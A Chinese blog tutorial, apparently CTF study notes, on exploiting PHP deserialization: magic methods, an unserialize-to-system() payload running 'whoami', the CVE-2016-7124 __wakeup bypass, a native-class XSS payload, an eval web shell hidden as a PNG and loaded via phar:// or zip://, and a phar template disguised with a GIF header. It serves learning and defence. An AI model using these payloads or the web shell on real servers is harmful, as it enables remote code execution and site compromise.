PHP反序列化漏洞

PHP:

序列化通过serialize(),反序列化unserialze()

只有属性会被序列化,而方法不会被反序列化。

产生原因:

开发时魔术方法使用不当或者对象方法类似有类似魔术方法的逻辑路东,可以白盒代码审计得到。

魔术方法:

在PHP中,当使用unserialize()函数对一个字符串进行反序列化时,如果字符串表示的是一个对象,PHP会尝试调用该对象类中的某些特殊方法来辅助创建对象。这些特殊方法被称为魔术方法(Magic Methods)。

 __construct() 当一个对象创建的时候被调用
 __destruct() 当一个对象销毁的时候被调用
 __toString() 当一个对象被当作字符串使用的时候被调用
 __invoke 当尝试以调用函数的方式调用一个对象时,会被调用
 __sleep() 当对象在被序列化之前运行
 __wakeup() 当在被反序列化之后调用
 __get() 访问私有变量或不存在的变量均会触发
 __call()访问不存在的方法时,会触发
 __set() 给私有变量或不存在的变量赋值时,会触发
 __unset 对私有变量或不存在的变量调用unset时,会触发
//其中__construct()和__wakeup()比较重要

//触发不同的魔术方法
<?php
class myClass{
    public $name = "hello";
    private $age = "20";
    function __construct(){
        $this->age = $age;
        echo $this->name.",I'm __construct().\n";
    }
    function __destruct(){
        echo $this->name.",I'm __destruct().\n";
    }
    function __toString(){
        echo $this->name.",I'm __toString().";
        return "111\n";
    }
    function __invoke(){
        echo $this->name.",I'm __invoke().\n";
    }
    function __sleep(){
        echo $this->name.",I'm __sleep().\n";
        return array('name');
    }
    function __wakeup(){
        echo "hello,I'm __wakeup().\n";
        return 123123;
    }
    function __get($arg1){
        echo "hello,I'm __get().\n";
    }
    function __set($arg1, $value){
        echo "hello,I'm __set().\n";
    }
    function __unset($name)
    {
        echo "hello,I'm __unset().\n";
    }
    function __call($name, $value)
    {
        echo "hello,I'm __call().\n";
    }
    private function hidden(){
    }
}
// 触发 __construct()
$obj = new myClass();
// 触发 __toString()
echo $obj;
// 触发 __invoke()
$obj();
// 触发 __sleep()
$str1 = serialize($obj);
// 触发 __wakeup()
unserialize($str1);
// 触发 __get()
echo $obj->age;
// 触发 __set()
$obj->age = 30;
// 触发 __unset()
unset($obj->age);
// 触发 __call()
$obj->hidden();
?>

代码实例:

1.反序列化与序列化

<?php
class myClass{
    public $name="Donald.J.Trump";
    private $age="77";
    protected $sex="man";
}
$a=new myClass();
var_dump(serialize($a));

?>
var_dump(serialize($a));
string(103) "O:7:"myClass":3:{s:4:"name";s:14:"Donald.J.Trump";s:12:" myClass age";s:2:"77";s:6:" * sex";s:3:"man";}"

2.反序列化简单利用

<?php
Class C{
    public $cmd='ipconfig';
    public function __destruct()
    {
        system($this->cmd);
    }
    public function __construct(){
        echo 'sb';
    }
}
unserialize($_GET[c]);
?>
//可以看到这里网页的源码创建了一个类,有__destruct、__construct。
//对我们有用的只有__destruct,我们可以使用 __destruct方法去调用属性$cmd,执行一些想要的效果
<?php
Class C
{
    public $cmd = 'whoami';
}
$test=new C;
echo(serialize($test));
//将会输出
O:1:"C":1:{s:3:"cmd";s:6:"whoami";}
//此时localhost/test1/mysite/test/1.php?c=O:1:"C":1:{s:3:"cmd";s:6:"whoami";}

绕过:

1.--wakeup绕过(CVE-2016-7124)

影响环境:php5 ~ 5.6.25php7 ~ 7.0.10

当序列化字符串中属性个数不正确时, __wakeup 方法不会被调用
修改前:
O : 4 : "Test" : 1 :{ s : 4 : "name" ; s : 5 : "admin" ;}
修改后:
O : 4 : "Test" : 2 :{ s : 4 : "name" ; s : 5 : "admin" ;}
必须要需要修改项数

2.PHP正则匹配绕过

1.数字: 8=+8

3.PHP弱碰撞绕过

在PHP中如果存在 if(md5($a)==sha1($b))则只是验证两者数值是否相等,而不验证类型则可以进行数组绕过:a[]=1&b[]=2

原生类:

0.生成原生类

<?php
$classes=get_declared_classes();
foreach ($classes as $class){
    $methods=get_class_methods($class);
    foreach ($methods as $method){
        if(in_array($method,array(
            //'__destruct',
            //'__toString',
            '__wakeup',
            //'__call',
            //'__callStatic',
            //'__get',
            //'__set',
            //'__isset',
            //'__unset',
            //'__invoke',
            //'__set_state'
        ))){
            print $class .'::'.$method.'\n';
        }
    }
}

1.常见使用的原生类

2.原生类如何使用

浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)

TEST1(XSS)

发现该题目使一个XSS的反序列化漏洞,我们需要用到原生类__toString进行构造XSS漏洞PHP: Error::__toString - Manual 

<?php
$a=new Exception("<script>alert('xss')</script>");
echo(base64_encode(serialize($a)));
?>

TEST2()

Phar反序列化

除了 unserialize() 来利用反序列化漏洞之外,还可以利用 phar 文件以序列化的形式存储用户自定义的 meta-data这一特性,扩大 php 反序列化漏洞的攻击面。该方法在文件系统函数( file_exists() is_dir() 等)参数可控的情况下,配合phar:// 伪协议,可以不依赖 unserialize() 直接进行反序列化操作。
PHP中常见的流包装器如下:
file:// 访问本地文件系统,在用文件系统函数时默认使用该包装器
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s) urls
php:// 访问各个输入/输出流(I/O Streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// php归档
ssh2:// Secure shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

Phar与文件包含

0.环境存在文件包含代码且可以正常上传文件(图片)

<?php
$filename = $_GET['file'];
include($filename);
?>

1.准备木马文件shell.php:

<?php @eval($_POST[1]);?>

2.将其压缩为shell.zip并且改名为shell.png上传

3.使用phar协议进行解析:localhost?filename=phar://shell.png/shell.php

zip://协议与文件包含

与上述步骤相同0-2相同

使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件

?filename=zip://D:\phpStudy\WWW\fileinclude\test.zip%23test.php

Phar文件的结构:

1. stub
phar 文件的标志,必须以 xxx_HALT_COMPLER();?> 结尾,否则无法识别。 Xxx 可以为自定义内容
2. manifest
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分
还会以序列化的形式存储用户自定义的 meta-data Meta-data 部分的信息会以序列化的形式储
存,这里就是漏洞利用的关键点。
3. content
被压缩文件的内容 , 在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利
用这个漏洞主要是为了触发它的反序列化 。
4. signature( 可空 )
签名,放在末尾

Phar文件的生成

要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
生成phar默认模板
<?php
class TestObject{  //类需要按照源码给的类修改
}
@unlink('php.phar');
$phar = new Phar('php.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER();?>");//设置stub绕过白名单上传
$o = new TestObject();   //这里需要和限制的类名上面对齐
$o -> output = 'phpinfo();';
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString('test.txt',"test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

Phar反序列化漏洞的利用条件

1.Phar 文件要能够上传到服务器端
2. 要有可用的魔术方法作为 跳板
3. 文件操作函数的参数可控,且冒号、 / phar 等特殊字符没有被过滤
受影响的文件操作函数 :
  • 16
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值